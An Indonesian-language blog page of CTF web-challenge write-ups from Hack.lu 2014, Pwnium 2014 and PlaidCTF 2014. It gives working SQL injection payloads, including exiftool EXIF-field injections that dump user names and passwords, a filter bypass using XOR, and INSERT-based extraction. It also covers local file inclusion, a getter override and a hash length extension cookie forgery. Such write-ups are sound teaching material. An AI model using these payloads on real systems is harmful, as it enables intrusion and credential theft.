Showing posts with label web. Show all posts
Showing posts with label web. Show all posts

Thursday, October 23, 2014

HACK.LU CTF 2014: Dalton's Corporate Security Safe for Business

Kita diberikan sebuah website, di mana kita harus memasukkan kode-kode Captcha dalam waktu singkat (ada banyak kode sebelum diterima). Captcha-nya dihasilkan oleh javascript yang menulis ke kanvas. Kodenya selalu berubah (nama variabelnya, dan beberapa perintahnya, termasuk juga warnanya). Ini contoh JavaScriptnya:

 

Cara termudah menyelesaikan ini adalah dengan menggunakan nodejs untuk mengevaluasi javascriptnya. Saya menggunakan kombinasi python dan nodejs untuk menyelesaikannya:

Setelah dijalankan agak lama (sekitar 8 input), didapat:

FLAG :D :D fef9565c97c3a62fe10d2a0084a9e8179d72f4a05084997cb80e900d1a77a42e3

HACK.LU CTF 2014: Encrypted

Kita diberikan sebuah web dengan login dan password. Ketika login salah, terlihat query aneh:

Sepertinya itu adalah ROT13, dan ternyata memang benar. Jadi kita cuma perlu membuat query baru dan mengencodenya ke ROT13:

encrypted-login2

Dan berhasil:

encrypted-login

HACK.LU CTF 2014: KILLY THE BIT

Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.
Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?

Diberikan juga hint:

Hint: Blind SQLi is not a good solution. You can get the correct and complete flag with one single request!

(Published on 2014-10-21 22:42:29)

Hint: The password's column name is 'passwd'.

(Published on 2014-10-21 16:27:33)

The challenge won't actually send emails - just concentrate on the website

Kita diberi source code dengan SQL injection yang jelas terlihat:

<?php
$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");
?>

Tapi ada pengecekan:


<?php
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name'])) {

?>

Kita tidak bisa memakai OR, XOR, AND, SLEEP, BENCHMARK, |, ||, &, &&. Dan ada lagi: jika username ditemukan, maka password akan dihasilkan, selain itu akan dicari user yang namanya mirip dengan “sounds like”.


Dengan menggunakan kreativitas, kita bisa menggunakan ^ (operasi xor untuk bit):


admin' ^ name='admin' union select passwd,1 from user where name='admin' limit 200 offset 1 --

image


Catatan: dalam hint diberikan nama kolom yaitu “passwd”.

HACK.LU CTF 2014: Objection

This guard talks a weird dialect. And why does he talk in such a complicated way?

File source code ada di sini (dan juga pembahasannya): 

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/objection

Meski demikian, saya meyangka ini adalah file dalam bahasa LiveScript (http://livescript.net/) dan bukan COCO, dan skripnya bisa jalan dengan “lsc”. Mungkin juga skrip ini kompatibel dengan kedua bahasa tersebut.

Inti dari skrip tersebut adalah menciptakan sebuah object javascript, yang akan mengecek apakah is_admin true sebelum mendapatkan tokennya. Kita bisa memanggil fungsi-fungsi yang didefinisikan (login, get_token), tapi di JavaScript ada fungsi built in __defineGetter__ untuk mendefinisikan getter bagi properti. Dengan mengeset itu untuk is_admin, maka is_admin akan selalu true.

livlescript1

HACK.LU CTF 2014: ImageUpload

Soal:

In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help. 
Upload pictures of criminals to this site and help the sheriff to arrest them. 
You can make this Wild Wild Web much less wild!!!

Kita diberi halaman untuk login, tapi tanpa login kita bisa mengupload image:

loginpart 

Ketika mengupload gambar kecil (kosong, putih), yang muncul adalah:

empty-stuff

Terlihat bahwa ada field Manufacturer dan Model, kemungkinan besar ini didapat dari data EXIF (yang tidak ada di file yang saya upload). Kita bisa mencoba-coba mengganti Model:

exifmodel

Dan bisa berhasil:

model

Dengan mengoba memasukkan karakter “’” didapat pesan error SQL, jadi ini adalah masalah injection di Insert. Dari urutan field, yang perlu kita modifikasi adalah Manufacturer (sebenarnyanya model juga bisa, tapi lebih sulit).

 

Ternyata yang harus dimodifikasi adalah attribut “Make”exif-not-writable

devicemake

Dan bisa kita test:

devicemake-display

Beberapa query yang dipakai:

exiftool -Make="', (SELECT group_concat(schema_name separator '|') FROM information_schema.schemata)) -- " empty.jpg

Ini adalah contoh output mendapatkan daftar database:

databasenames

exiftool -Make="', (SELECT group_concat(table_name separator '|') FROM information_schema.tables WHERE table_schema='chal')) -- " empty.jpg

Seterusnya kita dapatkan nama kolom untuk users

exiftool -Make="', (SELECT group_concat(column_name separator '|') FROM information_schema.columns WHERE table_name='users')) -- " empty.jpg

Dan terakhir daftar user dan passwordnya:

exiftool -Make="', (SELECT group_concat(concat(name, ' - ', password) separator '|') FROM users)) -- " empty.jpg

userpass

Dan dengan menggunakan Link Login kita bisa login sebagai Sheriff

thepass

Saturday, July 12, 2014

Pwnium CTF2014: Web200 Guest Book

Dalam soal web kali ini, kita diminta mencari flag di sebuah aplikasi guest book. Yang bisa kita lakukan hanya mengisi judul dan teks isi guest book. Tidak ada permintaan lain yang bisa dilakukan. Setelah mencoba-coba, ternyata bisa dilakukan SQL Injection, tapi hanya pada “insert”. Kira-kira SQL yang dibuat adalah seperti ini

"insert into guestbook(title, text) values('"+ $POST["title"] + "', '" + $POST["text"] + "')"

Dengan memasukkan title: ‘ + abs(2) + ‘, kita mendapatkan title: 2


Percobaan menggunakan version() menunjukkan DBMS yang dipakai adalah MySQL. Trik menggunakan comment (—-, #) dan “on duplicate update” tidak berhasil dilakukan, jadi akhirnya dipakai cara manual: konversi dari string ke numerik. Perhatikan bahwa di mysql, statement:


select 'ab' + 'cd';

akan menghasilkan 0 (string akan dikonversi implisit menjadi bilangan, lalu dijumlahkan). Trik yang saya pakai adalah mengubah teks menjadi bilangan yang bisa dikembalikan lagi menjadi teks. Fungsi yang salah pilih adalah substring, hex, dan conv, seperti ini:


' + (select conv(hex(substring(table_name,1,5)),16,10) from information_schema.tables where table_type='base table' limit 1 offset 1) + '

Didapatkan: 1718378855


Itu digunakan untuk mendapatkan 5 huruf pertama nama tabel (untungnya namnaya singkat: “flag”). Saya memilih 5 karakter, karena lewat dari itu, bilangan yang dihasilkan adalah floating point (kehilangan presisi). Untuk mengembalikan bilangan menjadi teks digunakan:


select unhex(conv(1718378855, 10, 16)) 

Berikutnya saya mencari nama kolom, kemudian melakukan select terhadap kolom tersebut (select flag from flag). Pertama saya sempat bingung, karena hasilnya kosong, ternyata flagnya ada di row kedua. Setelah menambahkan “offset”, didapatkan flagnya adalah:


Pwnium{a6f33b4062b8bdcf3fe12e024568f67b}


Catatan: mungkin ada yang salah yang salah lakukan, karena di write up orang lain, mereka bisa memakai –. Tapi write up ini menunjukkan ada lebih dari satu jalan untuk menyelesaikan masalah.

Sunday, April 13, 2014

PlaidCTF2014 Write Up: MtPox (Web150)

Ini adalah soal kategori web application tapi juga menggunakan teknik kriptanalisis.

Berikut adalah deskripsi soalnya:

The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Oke skenarionya sepertinya disetting supaya mirip dengan bitcoin dan MtGox. Berikut adalah tampilan web aplikasi PlaidCoin exchange.



Setelah melihat-lihat dan mencoba web tersebut vulnerable terhadap Local File Inclusion pada file "index.php". Kita bisa melihat source code admin.php dengan membuka url "index.php?page=admin.php". Berikut adalah source code dari admin.php.

Perhatikan bahwa ketika belum terotentikasi kita diberi 2 cookie: 

  • auth berisi serialize(false), yaitu "b:0;"
  • hsh berisi sha256(SECRET + ";0:b")
Apa itu SECRET ? Kita tidak tahu isi dari SECRET, tapi kita diberitahu bahwa SECRET adalah 8 byte dan sangat kecil peluang untuk dibrute force.

Perhatikan lagi source code di atas baris 5-8, kita ingin membuat $auth bernilai true sekaligus ingin agar cookie hsh yang kita kirimkan diterima sebagai cookie yang valid.

Oke kalau begitu kita harus mengirim cookie auth yang bila di-unserialize menjadi true dan sekaligus hasil dari sha256(SECRET + strrev(cookie auth)) sama dengan cookie hsh yang kita kirimkan. 

Kita hanya punya hsh berisi sha256(SECRET + ";0:b"), bagaimana caranya kita bisa membuat sha256(SECRET + ";1:b") padahal kita tidak tahu SECRET ?

Jawabannya adalah dengan hash length extension attack, silakan baca di ilmuhacking tentang lebih detil bagaimana attack ini bekerja.

Jadi kondisinya sekarang:

  • Dari hsh cookie diketahui bahwa sha256(SECRET + ";0:b") = ef16c2bffbcf0b75672...
  • Jika kita ingin unserialize(str) bernilai true, maka str tersebut harus diawali dengan "b:1;" (sisanya boleh berisi string apapun, tidak akan mengubah hasil unserializenya).
Dengan hash extension attack, bila diketahui sha256(SECRET + ";0:b") = X, kita bisa mencari sha256(SECRET + ";0:b" + padding + append) tanpa mengetahui SECRET.

Perhatikan bahwa kita bisa menyelesaikan soal ini bila append berisi ";1:b" :
  1. cookie auth yang kita kirim adalah append + pending + "b:0;" (dibalik karena ada strrev di baris ke-7) yaitu cookie auth = "b:1;" + append + "b:0;"
  2. unserialize("b:1;"+padding+"b:0;") adalah true karena diawali dengan "b:1;"
  3. sha256(SECRET + strrev(cookie auth)) adalah sha256(SECRET+";0:b"+padding+";1:b")
Tugas kita sekarang tinggal mencari tahu berapa nilai sha256(SECRET+";0:b"+padding+";1:b") tanpa tahu SECRET.

Dengan tools hash_extender kita bisa dengan mudah mendapatkan nilai sha256(SECRET+";0:b"+padding+";1:b") tanpa perlu tahu SECRET. Output dari tools tersebut tinggal kita balik kemudian diubah menjadi bentul url encoded sehingga hasilnya menjadi 2 cookie berikut:

Dengan dua cookie tersebut kita akan menembus otentikasi dan masuk ke halaman admin.


Selanjutnya dari source code jelas terlihat ada SQL injection pada parameter query. Selanjutnya saya serahkan saja pada sqlmap untuk melakukan eksploitasi sql injection.